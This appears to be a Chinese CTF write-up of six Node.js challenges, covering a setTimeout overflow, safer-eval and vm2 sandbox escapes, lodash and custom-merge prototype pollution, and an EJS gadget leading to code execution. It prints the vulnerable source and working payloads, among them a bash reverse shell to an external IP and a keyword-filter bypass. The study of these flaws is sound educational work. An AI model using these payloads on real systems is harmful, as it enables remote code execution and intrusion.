目录
①[GKCTF 2020]ez三剑客-easynode
②[MoeCTF 2021]fake game
③[安洵杯 2020]Validator
④ [HZNUCTF 2023 final]eznode
⑤[CNSS] 🏭 EzPollution_pre
⑥[CNSS]✴️ EzPollution
①[GKCTF 2020]ez三剑客-easynode
const express = require('express');
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
const fs = require('fs');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
这里的意思就是。我们传入一个delay和原先定义的60000进行比较。大的值复制给delay
然后作为timeout的值传入
显然。默认定义超时6秒。进入下个路由。
但是我们的代码不能超时6秒。也就不能进去下个路由执行沙盒逃逸了
那么问题就出在这个settimeout函数上。
浏览器内部使用32位带符号的整数来储存推迟执行的时间这意味着setTimeout最多延迟2147483647ms。只要大于2147483647,就会发生溢出,就可以绕过那个时间限制,进入下一个路由
这样就实现了既比60000大,又小于1000
还是问下大模型这段代码的解读()
这段代码是JavaScript中的一个典型用法,使用了 setTimeout 和 clearTimeout 函数,并尝试发送一个响应。让我逐步为你解释:
1. setTimeout(() => {...}, 1000);
这行代码创建了一个定时器,它会在1000毫秒(也就是1秒)后执行大括号 {} 内的函数。在这个例子中,这个函数是:
javascript
() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}
2. clearTimeout(t);
这行代码试图清除一个名为 t 的定时器。如果这个定时器存在,那么它将被取消,且不会执行定时器内的代码。如果这个定时器不存在,那么这行代码不会有任何效果。
3. console.log('timeout');
这行代码会在控制台打印出 "timeout"。
4. try { res.send('Timeout!'); } catch (e) { }
这段代码尝试发送一个响应(在这个例子中,是一个名为 'Timeout!' 的字符串)。如果发送响应的操作成功,那么它不会做任何其他事情。如果发送响应的操作失败(例如,由于网络问题或服务器错误),那么会捕获异常并阻止它们传播。这个 catch 块不会打印任何消息,所以如果你想看到错误消息,你可能需要把 catch 块改成 catch (e) { console.log(e); }。
需要注意的是,这个代码是在Node.js环境下运行的,因为它使用了 res.send 方法来发送响应。在浏览器JavaScript中,通常不会使用这种方法,而是使用 fetch 或其他 AJAX 方法来发送请求并处理响应。
随便传一个1,回显符合代码
这里给到safer-eval的版本号
github搜索一下相关issue
最终payload:
/eval?delay=2147483648
e=(function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("cat /flag").toString()})()
②[MoeCTF 2021]fake game
进来先随便输数据看回显
merge?触发关键词,想到原型链污染
看一眼源码
哦?有__proto__内味了
抓包看看
好的直接构造payload
{"attributes": {"health": 0, "attack": 0, "armor": 0, "__proto__": {"health": 999999999, "attack": 999999999, "armor": 999999999}}}
③[安洵杯 2020]Validator
先dirsearch扫一下目录
访问/package.json
给到版本号,敏感的weber已经有想法了(
根据读到的package包引用,发现lodash版本为4.17.16。lodash<4.17.17是有原型链污染漏洞的
详见
{
"a": {"__proto__": {"test": "testvalue"}}, "a\"].__proto__[\"test": 222
}
访问/app.js
贴出源码
const express = require('express')
const express_static = require('express-static')
const fs = require('fs')
const path = require('path')
const app = express()
const port = 9000
app.use(express.json())
app.use(express.urlencoded({
extended: true
}))
let info = []
const {
body,
validationResult
} = require('express-validator')
middlewares = [
body('*').trim(),
body('password').isLength({ min: 6 }),
]
app.use(middlewares)
readFile = function (filename) {
var data = fs.readFileSync(filename)
return data.toString()
}
app.post("/login", (req, res) => {
console.log(req.body)
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
if (req.body.password == "D0g3_Yes!!!"){
console.log(info.system_open)
if (info.system_open == "yes"){
const flag = readFile("/flag")
return res.status(200).send(flag)
}else{
return res.status(400).send("The login is successful, but the system is under test and not open...")
}
}else{
return res.status(400).send("Login Fail, Password Wrong!")
}
})
app.get("/", (req, res) => {
const login_html = readFile(path.join(__dirname, "login.html"))
return res.status(200).send(login_html)
})
app.use(express_static("./"))
app.listen(port, () => {
console.log(`server listening on ${port}`)
})
简单审一下,污染system_open为yes就可以拿flag
表单提交个D0g3_Yes!!!回显如下,符合上述代码
改个payload直接打
{
"password":"D0g3_Yes!!!",
"a": {"__proto__": {"system_open": "yes"}}, "a\"].__proto__[\"system_open": "yes"
}
④ [HZNUCTF 2023 final]eznode
访问/app.js
const express = require('express');
const app = express();
const { VM } = require('vm2');
app.use(express.json());
const backdoor = function () {
try {
new VM().run({}.shellcode);
} catch (e) {
console.log(e);
}
}
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
app.get('/', function (req, res) {
res.send("POST some json shit to /. no source code and try to find source code");
});
app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})
app.listen(3000, function () {
console.log('start listening on port 3000');
});
vm2 原型链污染导致沙箱逃逸 poc:
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
改下payload:
{"shit":1,"__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"').toString();"}}
⑤[CNSS] 🏭 EzPollution_pre
login.js
var express = require('express')
var router = express.Router()
var utils = require('../utils/common')
function waf(value) {
const blacklistRegex = /(exec|load)/i
if (blacklistRegex.test(value)) {
return false
}
return true
}
/* GET home page. */
router.post('/', require('body-parser').json(), function (req, res, next) {
res.type('html')
var secert = {}
var sess = req.session
let user = {}
utils.copy(user, req.body)
if (secert.psych === 'p5ych') {
if (waf(secert.eva1)) {
res.send(seval(secert.eva1))
} else {
res.send('hehe,,')
}
} else {
return res.json({
ret_code: 2,
ret_msg: '登录失败' + JSON.stringify(user),
})
}
})
module.exports = router
copy函数可以原型链污染
common.js
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
payload:
{
"__proto__":
{
"psych":"p5ych",
"eval":"res.json({ret_flag:require('child_process')['exe'+'cSync']('whoami').toString(),ret_code:0})"
}
}
⑥[CNSS]✴️ EzPollution
给到源码
var express = require('express');
var app = express();
app.set('view engine', 'ejs');
app.use(express.urlencoded({ extended: false }));
app.all("/", function (req, res) {
res.render(`${__dirname}/views/index.ejs`, { title: 'CNSS Login' });
})
app.all("/login", function (req, res) {
let user = merge({}, req.query)
if (user.username === "admin" && user.password === "admin") {
res.send({
msg: "Login success!"
})
}else{
res.send({
msg: "Login failed!"
})
}
})
app.use(function (req, res, next) {
res.status(404).send({
msg: "Not found!"
})
})
app.use(function (err, req, res, next) {
console.error(err.stack)
res.status(500).send({
msg: "Internal server error!"
})
})
function merge(target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i]
for (var key in source) {
if (key === '__proto__') {
return;
}
if (hasOwnProperty.call(source, key)) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
}
return target
}
var server = app.listen(5000, function () {
var host = server.address().address
var port = server.address().port
console.log("http://%s:%s", host, port)
});
因为禁了__proto__
用{"constructor": {"prototype": {"role": "admin"}}}
一样可以污染原型链
注意这里/login用的get方法传参
a[b][c]=111
相当于{a:{b:{c:'111'}}}
参考题目的hint:https://mizu.re/post/ejs-server-side-prototype-pollution-gadgets-to-rce
发现ejs有个注入点
{
"__proto__": {
"client": 1,
"escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('id | nc localhost 4444')"
}
}
构造
constructor[prototype][client]=true&constructor[prototype][escapeFunction]=1; return global.process.mainModule.constructor._load('child_process').execSync('whoami')